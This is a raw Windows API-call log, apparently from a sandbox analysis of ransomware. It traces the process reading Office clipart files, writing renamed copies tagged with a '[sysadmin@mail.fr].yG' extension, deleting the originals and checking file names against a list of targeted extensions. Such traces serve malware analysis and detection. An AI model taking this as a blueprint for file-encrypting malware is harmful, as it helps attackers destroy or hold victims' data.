	[0172.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 1
	[0172.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0172.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0172.453] lstrlenW (lpString=".doc") returned 4
	[0172.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.454] lstrlenW (lpString=".docx") returned 5
	[0172.454] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0172.454] lstrlenW (lpString=".pdf") returned 4
	[0172.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.454] lstrlenW (lpString=".xls") returned 4
	[0172.454] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.455] lstrlenW (lpString=".xlsx") returned 5
	[0172.455] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0172.455] lstrlenW (lpString=".ppt") returned 4
	[0172.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0172.455] lstrlenW (lpString=".zip") returned 4
	[0172.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.456] lstrlenW (lpString=".rar") returned 4
	[0172.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.456] lstrlenW (lpString=".bz2") returned 4
	[0172.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.456] lstrlenW (lpString=".7z") returned 3
	[0172.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0172.457] lstrlenW (lpString=".dbf") returned 4
	[0172.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0172.457] lstrlenW (lpString=".1cd") returned 4
	[0172.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0172.458] lstrlenW (lpString=".jpg") returned 4
	[0172.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.462] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=16468) returned 1
	[0172.464] CloseHandle (hObject=0x364) returned 1
	[0172.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 0x220
	[0172.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0172.468] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.469] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0172.470] GetLastError () returned 0x0
	[0172.470] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x4054, lpOverlapped=0x0) returned 1
	[0172.483] WriteFile (in: hFile=0x388, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x4060, lpOverlapped=0x0) returned 1
	[0172.484] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.484] WriteFile (in: hFile=0x388, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.484] SetEndOfFile (hFile=0x388) returned 1
	[0172.485] CloseHandle (hObject=0x388) returned 1
	[0172.485] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.485] SetEndOfFile (hFile=0x364) returned 1
	[0172.993] CloseHandle (hObject=0x364) returned 1
	[0172.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 1
	[0173.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0173.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0173.224] lstrlenW (lpString=".doc") returned 4
	[0173.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.224] lstrlenW (lpString=".docx") returned 5
	[0173.224] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0173.224] lstrlenW (lpString=".pdf") returned 4
	[0173.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.224] lstrlenW (lpString=".xls") returned 4
	[0173.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.224] lstrlenW (lpString=".xlsx") returned 5
	[0173.224] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0173.224] lstrlenW (lpString=".ppt") returned 4
	[0173.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0173.224] lstrlenW (lpString=".zip") returned 4
	[0173.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.224] lstrlenW (lpString=".rar") returned 4
	[0173.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.224] lstrlenW (lpString=".bz2") returned 4
	[0173.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.224] lstrlenW (lpString=".7z") returned 3
	[0173.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0173.225] lstrlenW (lpString=".dbf") returned 4
	[0173.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0173.225] lstrlenW (lpString=".1cd") returned 4
	[0173.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0173.225] lstrlenW (lpString=".jpg") returned 4
	[0173.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.225] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=6424) returned 1
	[0173.225] CloseHandle (hObject=0x570) returned 1
	[0173.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 0x220
	[0173.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.227] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.227] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0173.228] GetLastError () returned 0x0
	[0173.228] ReadFile (in: hFile=0x570, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1918, lpOverlapped=0x0) returned 1
	[0173.239] WriteFile (in: hFile=0x478, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1920, lpOverlapped=0x0) returned 1
	[0173.240] ReadFile (in: hFile=0x570, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.240] WriteFile (in: hFile=0x478, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.240] SetEndOfFile (hFile=0x478) returned 1
	[0173.240] CloseHandle (hObject=0x478) returned 1
	[0173.240] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.240] SetEndOfFile (hFile=0x570) returned 1
	[0173.245] CloseHandle (hObject=0x570) returned 1
	[0173.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 1
	[0173.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0173.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0173.247] lstrlenW (lpString=".doc") returned 4
	[0173.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.247] lstrlenW (lpString=".docx") returned 5
	[0173.247] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0173.247] lstrlenW (lpString=".pdf") returned 4
	[0173.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.247] lstrlenW (lpString=".xls") returned 4
	[0173.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.247] lstrlenW (lpString=".xlsx") returned 5
	[0173.247] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0173.247] lstrlenW (lpString=".ppt") returned 4
	[0173.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0173.248] lstrlenW (lpString=".zip") returned 4
	[0173.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.248] lstrlenW (lpString=".rar") returned 4
	[0173.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.248] lstrlenW (lpString=".bz2") returned 4
	[0173.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.248] lstrlenW (lpString=".7z") returned 3
	[0173.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0173.248] lstrlenW (lpString=".dbf") returned 4
	[0173.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0173.248] lstrlenW (lpString=".1cd") returned 4
	[0173.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68
	[0173.248] lstrlenW (lpString=".jpg") returned 4
	[0173.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.249] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=8864) returned 1
	[0173.249] CloseHandle (hObject=0x570) returned 1
	[0173.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 0x220
	[0173.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.250] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.250] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0173.251] GetLastError () returned 0x0
	[0173.251] ReadFile (in: hFile=0x570, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x22a0, lpOverlapped=0x0) returned 1
	[0173.282] WriteFile (in: hFile=0x478, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x22b0, lpOverlapped=0x0) returned 1
	[0173.284] ReadFile (in: hFile=0x570, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.284] WriteFile (in: hFile=0x478, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.284] SetEndOfFile (hFile=0x478) returned 1
	[0173.285] CloseHandle (hObject=0x478) returned 1
	[0173.285] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.285] SetEndOfFile (hFile=0x570) returned 1
	[0173.289] CloseHandle (hObject=0x570) returned 1
	[0173.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 1
	[0173.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0173.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0173.621] lstrlenW (lpString=".doc") returned 4
	[0173.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.621] lstrlenW (lpString=".docx") returned 5
	[0173.621] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0173.621] lstrlenW (lpString=".pdf") returned 4
	[0173.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.622] lstrlenW (lpString=".xls") returned 4
	[0173.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.622] lstrlenW (lpString=".xlsx") returned 5
	[0173.622] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0173.622] lstrlenW (lpString=".ppt") returned 4
	[0173.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0173.622] lstrlenW (lpString=".zip") returned 4
	[0173.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.622] lstrlenW (lpString=".rar") returned 4
	[0173.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.622] lstrlenW (lpString=".bz2") returned 4
	[0173.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.622] lstrlenW (lpString=".7z") returned 3
	[0173.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0173.622] lstrlenW (lpString=".dbf") returned 4
	[0173.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0173.622] lstrlenW (lpString=".1cd") returned 4
	[0173.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0173.622] lstrlenW (lpString=".jpg") returned 4
	[0173.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.624] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=7948) returned 1
	[0173.624] CloseHandle (hObject=0x57c) returned 1
	[0173.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 0x220
	[0173.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0173.625] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.625] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0173.626] GetLastError () returned 0x0
	[0173.626] ReadFile (in: hFile=0x57c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1f0c, lpOverlapped=0x0) returned 1
	[0173.645] WriteFile (in: hFile=0x47c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1f10, lpOverlapped=0x0) returned 1
	[0173.647] ReadFile (in: hFile=0x57c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.647] WriteFile (in: hFile=0x47c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.647] SetEndOfFile (hFile=0x47c) returned 1
	[0173.647] CloseHandle (hObject=0x47c) returned 1
	[0173.647] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.647] SetEndOfFile (hFile=0x57c) returned 1
	[0173.650] CloseHandle (hObject=0x57c) returned 1
	[0173.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 1
	[0173.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0173.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0173.652] lstrlenW (lpString=".doc") returned 4
	[0173.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.652] lstrlenW (lpString=".docx") returned 5
	[0173.652] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0173.652] lstrlenW (lpString=".pdf") returned 4
	[0173.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.652] lstrlenW (lpString=".xls") returned 4
	[0173.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.652] lstrlenW (lpString=".xlsx") returned 5
	[0173.652] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0173.652] lstrlenW (lpString=".ppt") returned 4
	[0173.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0173.652] lstrlenW (lpString=".zip") returned 4
	[0173.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.652] lstrlenW (lpString=".rar") returned 4
	[0173.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.653] lstrlenW (lpString=".bz2") returned 4
	[0173.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.653] lstrlenW (lpString=".7z") returned 3
	[0173.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0173.653] lstrlenW (lpString=".dbf") returned 4
	[0173.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0173.653] lstrlenW (lpString=".1cd") returned 4
	[0173.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
